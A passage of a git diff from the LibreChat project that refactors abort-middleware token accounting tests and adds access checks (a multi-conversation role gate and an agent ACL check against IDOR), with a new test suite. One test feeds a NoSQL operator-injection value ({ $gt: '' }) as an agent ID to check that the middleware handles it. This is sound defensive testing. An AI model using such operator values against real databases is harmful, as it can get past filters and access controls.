+ bulkInsertTransactions: mockBulkInsertTransactions,
}));
jest.mock('./abortRun', () => ({
abortRun: jest.fn(),
}));
-// Import the module after mocks are set up
-// We need to extract the spendCollectedUsage function for testing
-// Since it's not exported, we'll test it through the handleAbort flow
+const { spendCollectedUsage } = require('./abortMiddleware');
describe('abortMiddleware - spendCollectedUsage', () => {
beforeEach(() => {
jest.clearAllMocks();
});
- describe('spendCollectedUsage logic', () => {
- // Since spendCollectedUsage is not exported, we test the logic directly
- // by replicating the function here for unit testing
-
- const spendCollectedUsage = async ({
- userId,
- conversationId,
- collectedUsage,
- fallbackModel,
- }) => {
- if (!collectedUsage || collectedUsage.length === 0) {
- return;
- }
-
- const spendPromises = [];
-
- for (const usage of collectedUsage) {
- if (!usage) {
- continue;
- }
-
- const cache_creation =
- Number(usage.input_token_details?.cache_creation) ||
- Number(usage.cache_creation_input_tokens) ||
- 0;
- const cache_read =
- Number(usage.input_token_details?.cache_read) ||
- Number(usage.cache_read_input_tokens) ||
- 0;
-
- const txMetadata = {
- context: 'abort',
- conversationId,
- user: userId,
- model: usage.model ?? fallbackModel,
- };
-
- if (cache_creation > 0 || cache_read > 0) {
- spendPromises.push(
- mockSpendStructuredTokens(txMetadata, {
- promptTokens: {
- input: usage.input_tokens,
- write: cache_creation,
- read: cache_read,
- },
- completionTokens: usage.output_tokens,
- }).catch(() => {
- // Log error but don't throw
- }),
- );
- continue;
- }
-
- spendPromises.push(
- mockSpendTokens(txMetadata, {
- promptTokens: usage.input_tokens,
- completionTokens: usage.output_tokens,
- }).catch(() => {
- // Log error but don't throw
- }),
- );
- }
-
- // Wait for all token spending to complete
- await Promise.all(spendPromises);
-
- // Clear the array to prevent double-spending
- collectedUsage.length = 0;
- };
-
+ describe('spendCollectedUsage delegation', () => {
it('should return early if collectedUsage is empty', async () => {
await spendCollectedUsage({
userId: 'user-123',
@@ -145,8 +95,7 @@ describe('abortMiddleware - spendCollectedUsage', () => {
fallbackModel: 'gpt-4',
});
- expect(mockSpendTokens).not.toHaveBeenCalled();
- expect(mockSpendStructuredTokens).not.toHaveBeenCalled();
+ expect(mockRecordCollectedUsage).not.toHaveBeenCalled();
});
it('should return early if collectedUsage is null', async () => {
@@ -157,28 +106,10 @@ describe('abortMiddleware - spendCollectedUsage', () => {
fallbackModel: 'gpt-4',
});
- expect(mockSpendTokens).not.toHaveBeenCalled();
- expect(mockSpendStructuredTokens).not.toHaveBeenCalled();
+ expect(mockRecordCollectedUsage).not.toHaveBeenCalled();
});
- it('should skip null entries in collectedUsage', async () => {
- const collectedUsage = [
- { input_tokens: 100, output_tokens: 50, model: 'gpt-4' },
- null,
- { input_tokens: 200, output_tokens: 60, model: 'gpt-4' },
- ];
-
- await spendCollectedUsage({
- userId: 'user-123',
- conversationId: 'convo-123',
- collectedUsage,
- fallbackModel: 'gpt-4',
- });
-
- expect(mockSpendTokens).toHaveBeenCalledTimes(2);
- });
-
- it('should spend tokens for single model', async () => {
+ it('should call recordCollectedUsage with abort context and full deps', async () => {
const collectedUsage = [{ input_tokens: 100, output_tokens: 50, model: 'gpt-4' }];
await spendCollectedUsage({
@@ -186,21 +117,35 @@ describe('abortMiddleware - spendCollectedUsage', () => {
conversationId: 'convo-123',
collectedUsage,
fallbackModel: 'gpt-4',
+ messageId: 'msg-123',
});
- expect(mockSpendTokens).toHaveBeenCalledTimes(1);
- expect(mockSpendTokens).toHaveBeenCalledWith(
- expect.objectContaining({
- context: 'abort',
- conversationId: 'convo-123',
+ expect(mockRecordCollectedUsage).toHaveBeenCalledTimes(1);
+ expect(mockRecordCollectedUsage).toHaveBeenCalledWith(
+ {
+ spendTokens: expect.any(Function),
+ spendStructuredTokens: expect.any(Function),
+ pricing: {
+ getMultiplier: mockGetMultiplier,
+ getCacheMultiplier: mockGetCacheMultiplier,
+ },
+ bulkWriteOps: {
+ insertMany: mockBulkInsertTransactions,
+ updateBalance: mockUpdateBalance,
+ },
+ },
+ {
user: 'user-123',
+ conversationId: 'convo-123',
+ collectedUsage,
+ context: 'abort',
+ messageId: 'msg-123',
model: 'gpt-4',
- }),
- { promptTokens: 100, completionTokens: 50 },
+ },
);
});
- it('should spend tokens for multiple models (parallel agents)', async () => {
+ it('should pass context abort for multiple models (parallel agents)', async () => {
const collectedUsage = [
{ input_tokens: 100, output_tokens: 50, model: 'gpt-4' },
{ input_tokens: 80, output_tokens: 40, model: 'claude-3' },
@@ -214,136 +159,17 @@ describe('abortMiddleware - spendCollectedUsage', () => {
fallbackModel: 'gpt-4',
});
- expect(mockSpendTokens).toHaveBeenCalledTimes(3);
-
- // Verify each model was called
- expect(mockSpendTokens).toHaveBeenNthCalledWith(
- 1,
- expect.objectContaining({ model: 'gpt-4' }),
- { promptTokens: 100, completionTokens: 50 },
- );
- expect(mockSpendTokens).toHaveBeenNthCalledWith(
- 2,
- expect.objectContaining({ model: 'claude-3' }),
- { promptTokens: 80, completionTokens: 40 },
- );
- expect(mockSpendTokens).toHaveBeenNthCalledWith(
- 3,
- expect.objectContaining({ model: 'gemini-pro' }),
- { promptTokens: 120, completionTokens: 60 },
- );
- });
-
- it('should use fallbackModel when usage.model is missing', async () => {
- const collectedUsage = [{ input_tokens: 100, output_tokens: 50 }];
-
- await spendCollectedUsage({
- userId: 'user-123',
- conversationId: 'convo-123',
- collectedUsage,
- fallbackModel: 'fallback-model',
- });
-
- expect(mockSpendTokens).toHaveBeenCalledWith(
- expect.objectContaining({ model: 'fallback-model' }),
+ expect(mockRecordCollectedUsage).toHaveBeenCalledTimes(1);
+ expect(mockRecordCollectedUsage).toHaveBeenCalledWith(
expect.any(Object),
+ expect.objectContaining({
+ context: 'abort',
+ collectedUsage,
+ }),
);
});
- it('should use spendStructuredTokens for OpenAI format cache tokens', async () => {
- const collectedUsage = [
- {
- input_tokens: 100,
- output_tokens: 50,
- model: 'gpt-4',
- input_token_details: {
- cache_creation: 20,
- cache_read: 10,
- },
- },
- ];
-
- await spendCollectedUsage({
- userId: 'user-123',
- conversationId: 'convo-123',
- collectedUsage,
- fallbackModel: 'gpt-4',
- });
-
- expect(mockSpendStructuredTokens).toHaveBeenCalledTimes(1);
- expect(mockSpendTokens).not.toHaveBeenCalled();
- expect(mockSpendStructuredTokens).toHaveBeenCalledWith(
- expect.objectContaining({ model: 'gpt-4', context: 'abort' }),
- {
- promptTokens: {
- input: 100,
- write: 20,
- read: 10,
- },
- completionTokens: 50,
- },
- );
- });
-
- it('should use spendStructuredTokens for Anthropic format cache tokens', async () => {
- const collectedUsage = [
- {
- input_tokens: 100,
- output_tokens: 50,
- model: 'claude-3',
- cache_creation_input_tokens: 25,
- cache_read_input_tokens: 15,
- },
- ];
-
- await spendCollectedUsage({
- userId: 'user-123',
- conversationId: 'convo-123',
- collectedUsage,
- fallbackModel: 'claude-3',
- });
-
- expect(mockSpendStructuredTokens).toHaveBeenCalledTimes(1);
- expect(mockSpendTokens).not.toHaveBeenCalled();
- expect(mockSpendStructuredTokens).toHaveBeenCalledWith(
- expect.objectContaining({ model: 'claude-3' }),
- {
- promptTokens: {
- input: 100,
- write: 25,
- read: 15,
- },
- completionTokens: 50,
- },
- );
- });
-
- it('should handle mixed cache and non-cache entries', async () => {
- const collectedUsage = [
- { input_tokens: 100, output_tokens: 50, model: 'gpt-4' },
- {
- input_tokens: 150,
- output_tokens: 30,
- model: 'claude-3',
- cache_creation_input_tokens: 20,
- cache_read_input_tokens: 10,
- },
- { input_tokens: 200, output_tokens: 20, model: 'gemini-pro' },
- ];
-
- await spendCollectedUsage({
- userId: 'user-123',
- conversationId: 'convo-123',
- collectedUsage,
- fallbackModel: 'gpt-4',
- });
-
- expect(mockSpendTokens).toHaveBeenCalledTimes(2);
- expect(mockSpendStructuredTokens).toHaveBeenCalledTimes(1);
- });
-
it('should handle real-world parallel agent abort scenario', async () => {
- // Simulates: Primary agent (gemini) + addedConvo agent (gpt-5) aborted mid-stream
const collectedUsage = [
{ input_tokens: 31596, output_tokens: 151, model: 'gemini-3-flash-preview' },
{ input_tokens: 28000, output_tokens: 120, model: 'gpt-5.2' },
@@ -356,27 +182,24 @@ describe('abortMiddleware - spendCollectedUsage', () => {
fallbackModel: 'gemini-3-flash-preview',
});
- expect(mockSpendTokens).toHaveBeenCalledTimes(2);
-
- // Primary model
- expect(mockSpendTokens).toHaveBeenNthCalledWith(
- 1,
- expect.objectContaining({ model: 'gemini-3-flash-preview' }),
- { promptTokens: 31596, completionTokens: 151 },
- );
-
- // Parallel model (addedConvo)
- expect(mockSpendTokens).toHaveBeenNthCalledWith(
- 2,
- expect.objectContaining({ model: 'gpt-5.2' }),
- { promptTokens: 28000, completionTokens: 120 },
+ expect(mockRecordCollectedUsage).toHaveBeenCalledTimes(1);
+ expect(mockRecordCollectedUsage).toHaveBeenCalledWith(
+ expect.any(Object),
+ expect.objectContaining({
+ user: 'user-123',
+ conversationId: 'convo-123',
+ context: 'abort',
+ model: 'gemini-3-flash-preview',
+ }),
);
});
+ /**
+ * Race condition prevention: after abort middleware spends tokens,
+ * the collectedUsage array is cleared so AgentClient.recordCollectedUsage()
+ * (which shares the same array reference) sees an empty array and returns early.
+ */
it('should clear collectedUsage array after spending to prevent double-spending', async () => {
- // This tests the race condition fix: after abort middleware spends tokens,
- // the collectedUsage array is cleared so AgentClient.recordCollectedUsage()
- // (which shares the same array reference) sees an empty array and returns early.
const collectedUsage = [
{ input_tokens: 100, output_tokens: 50, model: 'gpt-4' },
{ input_tokens: 80, output_tokens: 40, model: 'claude-3' },
@@ -391,19 +214,16 @@ describe('abortMiddleware - spendCollectedUsage', () => {
fallbackModel: 'gpt-4',
});
- expect(mockSpendTokens).toHaveBeenCalledTimes(2);
-
- // The array should be cleared after spending
+ expect(mockRecordCollectedUsage).toHaveBeenCalledTimes(1);
expect(collectedUsage.length).toBe(0);
});
- it('should await all token spending operations before clearing array', async () => {
- // Ensure we don't clear the array before spending completes
- let spendCallCount = 0;
- mockSpendTokens.mockImplementation(async () => {
- spendCallCount++;
- // Simulate async delay
+ it('should await recordCollectedUsage before clearing array', async () => {
+ let resolved = false;
+ mockRecordCollectedUsage.mockImplementation(async () => {
await new Promise((resolve) => setTimeout(resolve, 10));
+ resolved = true;
+ return { input_tokens: 100, output_tokens: 50 };
});
const collectedUsage = [
@@ -418,10 +238,7 @@ describe('abortMiddleware - spendCollectedUsage', () => {
fallbackModel: 'gpt-4',
});
- // Both spend calls should have completed
- expect(spendCallCount).toBe(2);
-
- // Array should be cleared after awaiting
+ expect(resolved).toBe(true);
expect(collectedUsage.length).toBe(0);
});
});
diff --git a/api/server/middleware/accessResources/canAccessAgentFromBody.js b/api/server/middleware/accessResources/canAccessAgentFromBody.js
index f8112af14d..572a86f5e5 100644
--- a/api/server/middleware/accessResources/canAccessAgentFromBody.js
+++ b/api/server/middleware/accessResources/canAccessAgentFromBody.js
@@ -1,42 +1,144 @@
const { logger } = require('@librechat/data-schemas');
const {
Constants,
+ Permissions,
ResourceType,
+ SystemRoles,
+ PermissionTypes,
isAgentsEndpoint,
isEphemeralAgentId,
} = require('librechat-data-provider');
+const { checkPermission } = require('~/server/services/PermissionService');
const { canAccessResource } = require('./canAccessResource');
+const { getRoleByName } = require('~/models/Role');
const { getAgent } = require('~/models/Agent');
/**
- * Agent ID resolver function for agent_id from request body
- * Resolves custom agent ID (e.g., "agent_abc123") to MongoDB ObjectId
- * This is used specifically for chat routes where agent_id comes from request body
- *
+ * Resolves custom agent ID (e.g., "agent_abc123") to a MongoDB document.
* @param {string} agentCustomId - Custom agent ID from request body
- * @returns {Promise} Agent document with _id field, or null if not found
+ * @returns {Promise} Agent document with _id field, or null if ephemeral/not found
*/
const resolveAgentIdFromBody = async (agentCustomId) => {
- // Handle ephemeral agents - they don't need permission checks
- // Real agent IDs always start with "agent_", so anything else is ephemeral
if (isEphemeralAgentId(agentCustomId)) {
- return null; // No permission check needed for ephemeral agents
+ return null;
}
-
- return await getAgent({ id: agentCustomId });
+ return getAgent({ id: agentCustomId });
};
/**
- * Middleware factory that creates middleware to check agent access permissions from request body.
- * This middleware is specifically designed for chat routes where the agent_id comes from req.body
- * instead of route parameters.
+ * Creates a `canAccessResource` middleware for the given agent ID
+ * and chains to the provided continuation on success.
+ *
+ * @param {string} agentId - The agent's custom string ID (e.g., "agent_abc123")
+ * @param {number} requiredPermission - Permission bit(s) required
+ * @param {import('express').Request} req
+ * @param {import('express').Response} res - Written on deny; continuation called on allow
+ * @param {Function} continuation - Called when the permission check passes
+ * @returns {Promise}
+ */
+const checkAgentResourceAccess = (agentId, requiredPermission, req, res, continuation) => {
+ const middleware = canAccessResource({
+ resourceType: ResourceType.AGENT,
+ requiredPermission,
+ resourceIdParam: 'agent_id',
+ idResolver: () => resolveAgentIdFromBody(agentId),
+ });
+
+ const tempReq = {
+ ...req,
+ params: { ...req.params, agent_id: agentId },
+ };
+
+ return middleware(tempReq, res, continuation);
+};
+
+/**
+ * Middleware factory that validates MULTI_CONVO:USE role permission and, when
+ * addedConvo.agent_id is a non-ephemeral agent, the same resource-level permission
+ * required for the primary agent (`requiredPermission`). Caches the resolved agent
+ * document on `req.resolvedAddedAgent` to avoid a duplicate DB fetch in `loadAddedAgent`.
+ *
+ * @param {number} requiredPermission - Permission bit(s) to check on the added agent resource
+ * @returns {(req: import('express').Request, res: import('express').Response, next: Function) => Promise}
+ */
+const checkAddedConvoAccess = (requiredPermission) => async (req, res, next) => {
+ const addedConvo = req.body?.addedConvo;
+ if (!addedConvo || typeof addedConvo !== 'object' || Array.isArray(addedConvo)) {
+ return next();
+ }
+
+ try {
+ if (!req.user?.role) {
+ return res.status(403).json({
+ error: 'Forbidden',
+ message: 'Insufficient permissions for multi-conversation',
+ });
+ }
+
+ if (req.user.role !== SystemRoles.ADMIN) {
+ const role = await getRoleByName(req.user.role);
+ const hasMultiConvo = role?.permissions?.[PermissionTypes.MULTI_CONVO]?.[Permissions.USE];
+ if (!hasMultiConvo) {
+ return res.status(403).json({
+ error: 'Forbidden',
+ message: 'Multi-conversation feature is not enabled',
+ });
+ }
+ }
+
+ const addedAgentId = addedConvo.agent_id;
+ if (!addedAgentId || typeof addedAgentId !== 'string' || isEphemeralAgentId(addedAgentId)) {
+ return next();
+ }
+
+ if (req.user.role === SystemRoles.ADMIN) {
+ return next();
+ }
+
+ const agent = await resolveAgentIdFromBody(addedAgentId);
+ if (!agent) {
+ return res.status(404).json({
+ error: 'Not Found',
+ message: `${ResourceType.AGENT} not found`,
+ });
+ }
+
+ const hasPermission = await checkPermission({
+ userId: req.user.id,
+ role: req.user.role,
+ resourceType: ResourceType.AGENT,
+ resourceId: agent._id,
+ requiredPermission,
+ });
+
+ if (!hasPermission) {
+ return res.status(403).json({
+ error: 'Forbidden',
+ message: `Insufficient permissions to access this ${ResourceType.AGENT}`,
+ });
+ }
+
+ req.resolvedAddedAgent = agent;
+ return next();
+ } catch (error) {
+ logger.error('Failed to validate addedConvo access permissions', error);
+ return res.status(500).json({
+ error: 'Internal Server Error',
+ message: 'Failed to validate addedConvo access permissions',
+ });
+ }
+};
+
+/**
+ * Middleware factory that checks agent access permissions from request body.
+ * Validates both the primary agent_id and, when present, addedConvo.agent_id
+ * (which also requires MULTI_CONVO:USE role permission).
*
* @param {Object} options - Configuration options
* @param {number} options.requiredPermission - The permission bit required (1=view, 2=edit, 4=delete, 8=share)
* @returns {Function} Express middleware function
*
* @example
- * // Basic usage for agent chat (requires VIEW permission)
* router.post('/chat',
* canAccessAgentFromBody({ requiredPermission: PermissionBits.VIEW }),
* buildEndpointOption,
@@ -46,11 +148,12 @@ const resolveAgentIdFromBody = async (agentCustomId) => {
const canAccessAgentFromBody = (options) => {
const { requiredPermission } = options;
- // Validate required options
if (!requiredPermission || typeof requiredPermission !== 'number') {
throw new Error('canAccessAgentFromBody: requiredPermission is required and must be a number');
}
+ const addedConvoMiddleware = checkAddedConvoAccess(requiredPermission);
+
return async (req, res, next) => {
try {
const { endpoint, agent_id } = req.body;
@@ -67,28 +170,13 @@ const canAccessAgentFromBody = (options) => {
});
}
- // Skip permission checks for ephemeral agents
- // Real agent IDs always start with "agent_", so anything else is ephemeral
+ const afterPrimaryCheck = () => addedConvoMiddleware(req, res, next);
+
if (isEphemeralAgentId(agentId)) {
- return next();
+ return afterPrimaryCheck();
}
- const agentAccessMiddleware = canAccessResource({
- resourceType: ResourceType.AGENT,
- requiredPermission,
- resourceIdParam: 'agent_id', // This will be ignored since we use custom resolver
- idResolver: () => resolveAgentIdFromBody(agentId),
- });
-
- const tempReq = {
- ...req,
- params: {
- ...req.params,
- agent_id: agentId,
- },
- };
-
- return agentAccessMiddleware(tempReq, res, next);
+ return checkAgentResourceAccess(agentId, requiredPermission, req, res, afterPrimaryCheck);
} catch (error) {
logger.error('Failed to validate agent access permissions', error);
return res.status(500).json({
diff --git a/api/server/middleware/accessResources/canAccessAgentFromBody.spec.js b/api/server/middleware/accessResources/canAccessAgentFromBody.spec.js
new file mode 100644
index 0000000000..47f1130d13
--- /dev/null
+++ b/api/server/middleware/accessResources/canAccessAgentFromBody.spec.js
@@ -0,0 +1,509 @@
+const mongoose = require('mongoose');
+const {
+ ResourceType,
+ SystemRoles,
+ PrincipalType,
+ PrincipalModel,
+} = require('librechat-data-provider');
+const { MongoMemoryServer } = require('mongodb-memory-server');
+const { canAccessAgentFromBody } = require('./canAccessAgentFromBody');
+const { User, Role, AclEntry } = require('~/db/models');
+const { createAgent } = require('~/models/Agent');
+
+describe('canAccessAgentFromBody middleware', () => {
+ let mongoServer;
+ let req, res, next;
+ let testUser, otherUser;
+
+ beforeAll(async () => {
+ mongoServer = await MongoMemoryServer.create();
+ await mongoose.connect(mongoServer.getUri());
+ });
+
+ afterAll(async () => {
+ await mongoose.disconnect();
+ await mongoServer.stop();
+ });
+
+ beforeEach(async () => {
+ await mongoose.connection.dropDatabase();
+
+ await Role.create({
+ name: 'test-role',
+ permissions: {
+ AGENTS: { USE: true, CREATE: true, SHARE: true },
+ MULTI_CONVO: { USE: true },
+ },
+ });
+
+ await Role.create({
+ name: 'no-multi-convo',
+ permissions: {
+ AGENTS: { USE: true, CREATE: true, SHARE: true },
+ MULTI_CONVO: { USE: false },
+ },
+ });
+
+ await Role.create({
+ name: SystemRoles.ADMIN,
+ permissions: {
+ AGENTS: { USE: true, CREATE: true, SHARE: true },
+ MULTI_CONVO: { USE: true },
+ },
+ });
+
+ testUser = await User.create({
+ email: 'test@example.com',
+ name: 'Test User',
+ username: 'testuser',
+ role: 'test-role',
+ });
+
+ otherUser = await User.create({
+ email: 'other@example.com',
+ name: 'Other User',
+ username: 'otheruser',
+ role: 'test-role',
+ });
+
+ req = {
+ user: { id: testUser._id, role: testUser.role },
+ params: {},
+ body: {
+ endpoint: 'agents',
+ agent_id: 'ephemeral_primary',
+ },
+ };
+ res = {
+ status: jest.fn().mockReturnThis(),
+ json: jest.fn(),
+ };
+ next = jest.fn();
+
+ jest.clearAllMocks();
+ });
+
+ describe('middleware factory', () => {
+ test('throws if requiredPermission is missing', () => {
+ expect(() => canAccessAgentFromBody({})).toThrow(
+ 'canAccessAgentFromBody: requiredPermission is required and must be a number',
+ );
+ });
+
+ test('throws if requiredPermission is not a number', () => {
+ expect(() => canAccessAgentFromBody({ requiredPermission: '1' })).toThrow(
+ 'canAccessAgentFromBody: requiredPermission is required and must be a number',
+ );
+ });
+
+ test('returns a middleware function', () => {
+ const middleware = canAccessAgentFromBody({ requiredPermission: 1 });
+ expect(typeof middleware).toBe('function');
+ expect(middleware.length).toBe(3);
+ });
+ });
+
+ describe('primary agent checks', () => {
+ test('returns 400 when agent_id is missing on agents endpoint', async () => {
+ req.body.agent_id = undefined;
+ const middleware = canAccessAgentFromBody({ requiredPermission: 1 });
+ await middleware(req, res, next);
+
+ expect(next).not.toHaveBeenCalled();
+ expect(res.status).toHaveBeenCalledWith(400);
+ });
+
+ test('proceeds for ephemeral primary agent without addedConvo', async () => {
+ const middleware = canAccessAgentFromBody({ requiredPermission: 1 });
+ await middleware(req, res, next);
+
+ expect(next).toHaveBeenCalled();
+ expect(res.status).not.toHaveBeenCalled();
+ });
+
+ test('proceeds for non-agents endpoint (ephemeral fallback)', async () => {
+ req.body.endpoint = 'openAI';
+ req.body.agent_id = undefined;
+ const middleware = canAccessAgentFromBody({ requiredPermission: 1 });
+ await middleware(req, res, next);
+
+ expect(next).toHaveBeenCalled();
+ });
+ });
+
+ describe('addedConvo — absent or invalid shape', () => {
+ test('calls next when addedConvo is absent', async () => {
+ const middleware = canAccessAgentFromBody({ requiredPermission: 1 });
+ await middleware(req, res, next);
+
+ expect(next).toHaveBeenCalled();
+ });
+
+ test('calls next when addedConvo is a string', async () => {
+ req.body.addedConvo = 'not-an-object';
+ const middleware = canAccessAgentFromBody({ requiredPermission: 1 });
+ await middleware(req, res, next);
+
+ expect(next).toHaveBeenCalled();
+ });
+
+ test('calls next when addedConvo is an array', async () => {
+ req.body.addedConvo = [{ agent_id: 'agent_something' }];
+ const middleware = canAccessAgentFromBody({ requiredPermission: 1 });
+ await middleware(req, res, next);
+
+ expect(next).toHaveBeenCalled();
+ });
+ });
+
+ describe('addedConvo — MULTI_CONVO permission gate', () => {
+ test('returns 403 when user lacks MULTI_CONVO:USE', async () => {
+ req.user.role = 'no-multi-convo';
+ req.body.addedConvo = { agent_id: 'agent_x', endpoint: 'agents', model: 'gpt-4' };
+
+ const middleware = canAccessAgentFromBody({ requiredPermission: 1 });
+ await middleware(req, res, next);
+
+ expect(next).not.toHaveBeenCalled();
+ expect(res.status).toHaveBeenCalledWith(403);
+ expect(res.json).toHaveBeenCalledWith(
+ expect.objectContaining({ message: 'Multi-conversation feature is not enabled' }),
+ );
+ });
+
+ test('returns 403 when user.role is missing', async () => {
+ req.user = { id: testUser._id };
+ req.body.addedConvo = { agent_id: 'agent_x', endpoint: 'agents', model: 'gpt-4' };
+
+ const middleware = canAccessAgentFromBody({ requiredPermission: 1 });
+ await middleware(req, res, next);
+
+ expect(next).not.toHaveBeenCalled();
+ expect(res.status).toHaveBeenCalledWith(403);
+ });
+
+ test('ADMIN bypasses MULTI_CONVO check', async () => {
+ req.user.role = SystemRoles.ADMIN;
+ req.body.addedConvo = { agent_id: 'ephemeral_x', endpoint: 'agents', model: 'gpt-4' };
+
+ const middleware = canAccessAgentFromBody({ requiredPermission: 1 });
+ await middleware(req, res, next);
+
+ expect(next).toHaveBeenCalled();
+ expect(res.status).not.toHaveBeenCalled();
+ });
+ });
+
+ describe('addedConvo — agent_id shape validation', () => {
+ test('calls next when agent_id is ephemeral', async () => {
+ req.body.addedConvo = { agent_id: 'ephemeral_xyz', endpoint: 'agents', model: 'gpt-4' };
+
+ const middleware = canAccessAgentFromBody({ requiredPermission: 1 });
+ await middleware(req, res, next);
+
+ expect(next).toHaveBeenCalled();
+ });
+
+ test('calls next when agent_id is absent', async () => {
+ req.body.addedConvo = { endpoint: 'agents', model: 'gpt-4' };
+
+ const middleware = canAccessAgentFromBody({ requiredPermission: 1 });
+ await middleware(req, res, next);
+
+ expect(next).toHaveBeenCalled();
+ });
+
+ test('calls next when agent_id is not a string (object injection)', async () => {
+ req.body.addedConvo = { agent_id: { $gt: '' }, endpoint: 'agents', model: 'gpt-4' };
+
+ const middleware = canAccessAgentFromBody({ requiredPermission: 1 });
+ await middleware(req, res, next);
+
+ expect(next).toHaveBeenCalled();
+ });
+ });
+
+ describe('addedConvo — agent resource ACL (IDOR prevention)', () => {
+ let addedAgent;
+
+ beforeEach(async () => {
+ addedAgent = await createAgent({
+ id: `agent_added_${Date.now()}`,
+ name: 'Private Agent',
+ provider: 'openai',
+ model: 'gpt-4',
+ author: otherUser._id,
+ });
+
+ await AclEntry.create({
+ principalType: PrincipalType.USER,
+ principalId: otherUser._id,
+ principalModel: PrincipalModel.USER,
+ resourceType: ResourceType.AGENT,
+ resourceId: addedAgent._id,
+ permBits: 15,
+ grantedBy: otherUser._id,
+ });
+ });
+
+ test('returns 403 when requester has no ACL for the added agent', async () => {
+ req.body.addedConvo = { agent_id: addedAgent.id, endpoint: 'agents', model: 'gpt-4' };
+
+ const middleware = canAccessAgentFromBody({ requiredPermission: 1 });
+ await middleware(req, res, next);
+
+ expect(next).not.toHaveBeenCalled();
+ expect(res.status).toHaveBeenCalledWith(403);
+ expect(res.json).toHaveBeenCalledWith(
+ expect.objectContaining({
+ message: 'Insufficient permissions to access this agent',
+ }),
+ );
+ });
+
+ test('returns 404 when added agent does not exist', async () => {
+ req.body.addedConvo = {
+ agent_id: 'agent_nonexistent_999',
+ endpoint: 'agents',
+ model: 'gpt-4',
+ };
+
+ const middleware = canAccessAgentFromBody({ requiredPermission: 1 });
+ await middleware(req, res, next);
+
+ expect(next).not.toHaveBeenCalled();
+ expect(res.status).toHaveBeenCalledWith(404);
+ });
+
+ test('proceeds when requester has ACL for the added agent', async () => {
+ await AclEntry.create({
+ principalType: PrincipalType.USER,
+ principalId: testUser._id,
+ principalModel: PrincipalModel.USER,
+ resourceType: ResourceType.AGENT,
+ resourceId: addedAgent._id,
+ permBits: 1,
+ grantedBy: otherUser._id,
+ });
+
+ req.body.addedConvo = { agent_id: addedAgent.id, endpoint: 'agents', model: 'gpt-4' };
+
+ const middleware = canAccessAgentFromBody({ requiredPermission: 1 });
+ await middleware(req, res, next);
+
+ expect(next).toHaveBeenCalled();
+ expect(res.status).not.toHaveBeenCalled();
+ });
+
+ test('denies when ACL permission bits are insufficient', async () => {
+ await AclEntry.create({
+ principalType: PrincipalType.USER,
+ principalId: testUser._id,
+ principalModel: PrincipalModel.USER,
+ resourceType: ResourceType.AGENT,
+ resourceId: addedAgent._id,
+ permBits: 1,
+ grantedBy: otherUser._id,
+ });
+
+ req.body.addedConvo = { agent_id: addedAgent.id, endpoint: 'agents', model: 'gpt-4' };
+
+ const middleware = canAccessAgentFromBody({ requiredPermission: 2 });
+ await middleware(req, res, next);
+
+ expect(next).not.toHaveBeenCalled();
+ expect(res.status).toHaveBeenCalledWith(403);
+ });
+
+ test('caches resolved agent on req.resolvedAddedAgent', async () => {
+ await AclEntry.create({
+ principalType: PrincipalType.USER,
+ principalId: testUser._id,
+ principalModel: PrincipalModel.USER,
+ resourceType: ResourceType.AGENT,
+ resourceId: addedAgent._id,
+ permBits: 1,
+ grantedBy: otherUser._id,
+ });
+
+ req.body.addedConvo = { agent_id: addedAgent.id, endpoint: 'agents', model: 'gpt-4' };
+
+ const middleware = canAccessAgentFromBody({ requiredPermission: 1 });
+ await middleware(req, res, next);
+
+ expect(next).toHaveBeenCalled();
+ expect(req.resolvedAddedAgent).toBeDefined();
+ expect(req.resolvedAddedAgent._id.toString()).toBe(addedAgent._id.toString());
+ });
+
+ test('ADMIN bypasses agent resource ACL for addedConvo', async () => {
+ req.user.role = SystemRoles.ADMIN;
+ req.body.addedConvo = { agent_id: addedAgent.id, endpoint: 'agents', model: 'gpt-4' };
+
+ const middleware = canAccessAgentFromBody({ requiredPermission: 1 });
+ await middleware(req, res, next);
+
+ expect(next).toHaveBeenCalled();
+ expect(res.status).not.toHaveBeenCalled();
+ expect(req.resolvedAddedAgent).toBeUndefined();
+ });
+ });
+
+ describe('end-to-end: primary real agent + addedConvo real agent', () => {
+ let primaryAgent, addedAgent;
+
+ beforeEach(async () => {
+ primaryAgent = await createAgent({
+ id: `agent_primary_${Date.now()}`,
+ name: 'Primary Agent',
+ provider: 'openai',
+ model: 'gpt-4',
+ author: testUser._id,
+ });
+
+ await AclEntry.create({
+ principalType: PrincipalType.USER,
+ principalId: testUser._id,
+ principalModel: PrincipalModel.USER,
+ resourceType: ResourceType.AGENT,
+ resourceId: primaryAgent._id,
+ permBits: 15,
+ grantedBy: testUser._id,
+ });
+
+ addedAgent = await createAgent({
+ id: `agent_added_${Date.now()}`,
+ name: 'Added Agent',
+ provider: 'openai',
+ model: 'gpt-4',
+ author: otherUser._id,
+ });
+
+ await AclEntry.create({
+ principalType: PrincipalType.USER,
+ principalId: otherUser._id,
+ principalModel: PrincipalModel.USER,
+ resourceType: ResourceType.AGENT,
+ resourceId: addedAgent._id,
+ permBits: 15,
+ grantedBy: otherUser._id,
+ });
+
+ req.body.agent_id = primaryAgent.id;
+ });
+
+ test('both checks pass when user has ACL for both agents', async () => {
+ await AclEntry.create({
+ principalType: PrincipalType.USER,
+ principalId: testUser._id,
+ principalModel: PrincipalModel.USER,
+ resourceType: ResourceType.AGENT,
+ resourceId: addedAgent._id,
+ permBits: 1,
+ grantedBy: otherUser._id,
+ });
+
+ req.body.addedConvo = { agent_id: addedAgent.id, endpoint: 'agents', model: 'gpt-4' };
+
+ const middleware = canAccessAgentFromBody({ requiredPermission: 1 });
+ await middleware(req, res, next);
+
+ expect(next).toHaveBeenCalled();
+ expect(res.status).not.toHaveBeenCalled();
+ expect(req.resolvedAddedAgent).toBeDefined();
+ });
+
+ test('primary passes but addedConvo denied → 403', async () => {
+ req.body.addedConvo = { agent_id: addedAgent.id, endpoint: 'agents', model: 'gpt-4' };
+
+ const middleware = canAccessAgentFromBody({ requiredPermission: 1 });
+ await middleware(req, res, next);
+
+ expect(next).not.toHaveBeenCalled();
+ expect(res.status).toHaveBeenCalledWith(403);
+ });
+
+ test('primary denied → 403 without reaching addedConvo check', async () => {
+ const foreignAgent = await createAgent({
+ id: `agent_foreign_${Date.now()}`,
+ name: 'Foreign Agent',
+ provider: 'openai',
+ model: 'gpt-4',
+ author: otherUser._id,
+ });
+
+ await AclEntry.create({
+ principalType: PrincipalType.USER,
+ principalId: otherUser._id,
+ principalModel: PrincipalModel.USER,
+ resourceType: ResourceType.AGENT,
+ resourceId: foreignAgent._id,
+ permBits: 15,
+ grantedBy: otherUser._id,
+ });
+
